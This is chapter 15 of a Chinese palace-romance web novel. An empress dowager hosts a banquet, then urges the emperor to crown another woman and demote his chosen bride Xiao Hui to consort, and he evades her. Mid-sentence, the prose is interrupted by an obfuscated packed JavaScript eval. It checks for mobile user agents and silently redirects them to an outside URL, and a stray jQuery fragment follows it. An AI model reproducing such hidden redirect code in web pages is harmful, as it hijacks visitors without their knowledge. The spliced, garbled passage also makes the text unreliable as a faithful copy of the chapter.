15.抬举她为贵妃
作品:《宁陵青箫声》 清言风尘仆仆返回太初宫时,萧徽正伏案看话本。
她打开回信,萧延昭信中写着近日的确在军营抓到了两个探子,是谁派来的暂时还不清楚,只是从他们身上搜出来了一个信物,应该是身份的象征,随信寄来了。
萧徽手伸向信封深处,里面是一枚黄铜符。
谁知太后这边刚安生两天,就又撺掇众人一起前往孝安宫设宴,美名其曰天家众人好好吃一顿饭,这话听着倒没什么问题,就是偏偏嘱咐道得把萧徽带着,这就有点司马昭之心路人皆知了,哪是皇家家宴,分明就是鸿门宴。
等容成青带着萧徽一同赴宴的时候,容成忻、郑南仙等人已经在八仙桌前坐好了。
估计又是为了制造自己与郑南仙相处的契机。容成青心里想着,但仍然怕太后难为萧徽,于是隐隐地提防着。
太后倒是没多说什么,只是让大家吃饭。
“一家人难得聚在一起,好好吃顿饭。正好前些日子循州上贡来的乳瓜正是新鲜可口,都来尝尝这菜。”
这“一家人”听在萧徽耳朵里却是有些刺耳,皇上和容成忻固然是兄弟,她太后和郑南仙也是姑侄,那萧徽这个外人又凭什么和他们皇室宗亲称为“家人”呢?萧徽可不认为太后能有这么快就接受她与容成青的婚事。
不过她早就做好了被太后刁难的准备,这些只不过是小打小闹而已。
于是眼观鼻鼻观心地开始吃起菜来,别的不说,这沙舟踏翠倒是没吃过的菜色,萧徽没忍住多夹了好几口,确实可口。
虾籽冬笋也比她之前吃过的好吃得多,看来太后多少也为这顿饭付出了些心思,心中的提防也就渐渐放下来了。
容成忻同容成青依然一副兄友弟恭的样子,容成忻平时话不多,文静之余还带着一些少年特有的灵动,只是眼下这顿饭他也明白母亲的用心,于是更不再多说。
太后则是一直照顾着郑南仙,说这三鲜龙凤球和素炒鳝丝是特地为她准备的,“知道你从小就喜欢这两样菜,姑母特地让御膳房的学了做来的,快多吃些,你瞧你,才几日不见,身子又清减了。”
郑南仙忙夹菜,笑着应:“难为姑母您还记挂着我的口味,这比我往日吃的还要可口呢。”
太后展开笑颜,“你以后什么时候想吃就来孝安宫里,吩咐一声的事。”
郑南仙连连点头,这二人好一副姑侄相敬相亲的模样,容成青看了感觉刚刚好起来的头好像又有点晕,只想赶紧吃完饭走人。
“安南县主也多吃些,从岭南到宁陵几千里,平日里按份例做的菜恐怕多少不合胃口,这道绣球乾贝也是特叫人来做的,你尝尝是不是家里的味道?”太后这样一反常态地温和倒有点吓了萧徽一跳,也刚刚注意到那道家乡菜,夹了一口尝过,做得不能说不好吃,只是总归差点意思。
但是面上功夫还是要做的,于是谢过太后顾念,“很好吃,同家里做的味道一样。”
“那我就放心了,还怕你在这里不适应,只权当在自己家便好。”
萧徽扯着僵硬的嘴角笑了笑,心想,我还是客人呢你就让我又跪又抄经。
“这宫中事务繁杂,规矩多,你初进宫来难免有所纰漏,你待会从我宫里领个婆子走,让她多帮衬着你。”
容成青刚想出口拒绝,又想到那日为了应付过太后已经把这个要求间接答应下来了,不免后悔,在犹疑之际,萧徽就从善如流地应下,脸上并没有不快。
这顿午膳虽不能说如坐针毡,但因为时刻提防着太后向自己发难,所以萧徽吃得也不太愉快。太后旁边更是一左一右跟了两个吉祥物,金童玉女似的,一个穿紫一个穿白,依她来看,这俩人过年的时候围个肚兜就可以直接送元宝去了。
不过她为什么觉着,郑南仙对容成青其实并不热络,在太后明摆着为了她能献媚引诱容成青搭的戏台子上也并不卖力。还有,容成忻的眼神怎么常常落在郑南仙脸上呢?虽说郑南仙实在是艳冠宁陵的美人,但是按太后的意思,这不是你容成忻的皇嫂吗?
这些腹诽,萧徽当然没有说出口,虽然容成青对郑南仙没有一点多余的意思,也一直在提防着太后这边外戚的势力,但是对于容成忻,萧徽明显感觉到他并不讨厌他,可能毕竟也是兄弟,血浓于水。
她又倏尔想到那天容成青突然提到了容成殷当时的表情,有些疑惑,又不得不确认的样子,她实在有些读不懂。
外界传言容成青是个不顾亲情而弑兄的冷血帝王,可现在看了他对容成忻的态度却不像如此。
但是他对于容成殷又确实有着一些自己说不出来的怪异,说是厌恶,其中又夹杂了一些别的什么,她暂时还不懂。不过也许之后会懂,再说这也是人家的家事。
看着走在前面的容成青的背影,她想,她现在算不算多了解了他一点呢?
容成青有所预料这顿饭既然没到鸿门宴的程度,没怎么刁难萧徽,那么就应该是狂风骤雨前的小小预告而已,果不其然,太后很快就又传召他立即去孝安宫,这次只他一人,没有萧徽。
这样也好,萧徽说她也可以专心研究一下萧延昭给她捎来的那个可疑的符,在京城中没有见过,大概是某种组织的凭证,她得仔细查查,也许出宫一趟。
容成青有些紧张,劝她小心,“不如还是派人去查吧……我怕……”
“没事的,述怀清言都跟着我,更何况现在最重要的就是不能走漏风声打草惊蛇,宫中不知有多少太后的耳目,我们可信的人也并不很多;皇上你放心吧。倒是你那边也要小心,若有急事,可以用这个找我。”说着就往容成青手心里塞了一枚信号弹,“这是北境昆仑擅长奇门遁甲的邬家所作,卖的东西贵还不说,且规矩极多,甚至不收银钱,光是这样一枚‘千里传讯’就要二十柱晒干的上等紫荆,你可省着点用啊;不过好在效果好得没话说,无论何时何地,哪怕百里之外我都看得见。”
容成青点点头,发觉到了萧徽是因为担心他,于是安慰她道:“我这边不会有事,不然多拨几个述怀那样的暗卫跟着你吧。”
萧徽轻轻摆手,“用不着,两个这么厉害的侍卫还护不住我吗?”
容成青笑着拍了拍她的头,“好吧,万事小心,我可就这么一个安南县主。”
萧徽还在整理被他拍得有些凌乱的发型时,容成青就已经在孝安宫里了。
太后一改之前的强硬,重新回到温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023308|159970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和的表情,“我也不同你绕弯子,我是从小看着你长大的,你是什么孩子我比其他人都清楚;现如今朝堂之上的局势你也明白,原本对萧延昭将军不满的旧臣便有很多,这下你还要立安南县主为后,这不是给他们可做的文章吗?”
这话乍一听有理,而且是站在为容成青考虑的角度上说的,可细细想来便能发现其中的不对劲,先不说前朝旧臣有多少同你郑家结党谋私,就光说萧延昭出征北境这一事,当初极力反对的不正是你太后和与你们有关系的旧臣?在北境大捷之后就装鹌鹑,现在更是急着切割来说好话,一副为人着想的模样,容成青真是听着想笑。究竟是谁想为这些事做文章呢?
“再者说,我又不是不让你成婚,自古哪个帝王立皇后时不是再三选择、择优选择,毕竟这天底下有几个女子能担得起后宫之主的位分,你以为皇后有多好当?我给你安排郑南仙,也并非是成心要拆散你同安南县主,哀家难道能不为你好么?”太后晓之以情,动之以理道:“郑南仙毕竟是老辅国公亲自养在膝下的,她能对你好的好处有很多,能给你的支持也是安南县主远远不能及的,倘若你真的要娶安南县主,眼下还有个办法,两全其美。”
容成青有种不祥的预感,感觉太后嘴里又要不说人话了,只是还勉强忍耐着。
太后仍然滔滔不绝地:“这样,你想娶安南县主,也不是不让你娶,可以娶,省的到时候显得我拆散了你们这对鸳鸯;只是你可以立郑南仙为皇后,萧徽为贵妃。萧徽那个孩子,性格冷硬,做个贵妃也够抬举她了。这样两全其美,既堵住了群臣的嘴,又不拂你的喜好,你看怎么样?”
合着专门把他叫过来就是为了这,容成青这算知道了,看他态度强硬始终不从,这不软硬兼施,打个巴掌再给个甜枣了吗?
虽然心里都想掀桌,但太后这幅笑面虎的做派可让他撒不得泼,于是只好仍然同她打太极:“郑小姐虽如母后那般所说,很好;但毕竟我同她也没有什么感情,贸贸然要娶她,而且是立皇后,我还要多加考虑才是,不能如此匆忙决定。”
太后闻言脸有点垮,还想劝说就又被容成青打了个哈哈借口绕过去了,顺便多了个岔开话题的理由,“我看忻弟弟也过了束发之年,娶妻也正是时候,母后您也可以为他物色物色,毕竟我的婚事固然重要,但您也要重视他的婚事才对。”
太后原本还要跟他绕一绕,结果被这句话牵住了心神,“他成婚还为时尚早,再说了宁陵城内勋贵可供选择的适龄婚配女儿实在不多,大理寺卿的长女固然漂亮,可看上去不算机灵,难堪王妃之位;国子监祭酒家的那个小姑娘脾气又太大,我看皇宫都恐怕压不住她,哪能和这种人成婚……”
见太后打开了话匣子岔过了话题,容成青连忙加一把柴火,给人做起了媒:“依我看,西境颜家的孩子还不错,知书达理又善解人意,这个和忻弟弟怎么样呢?”
太后不耐烦地皱了皱眉,“那个野丫头,文静都是装的,前些日子还有人看到她在城北的靶场骑马射箭,喝酒投壶呢,这个不行……”
等容成青有机会从孝安宫出来的时候,天都已经黑了,没想到能与太后心平气和地聊了这么久,果然这招好用。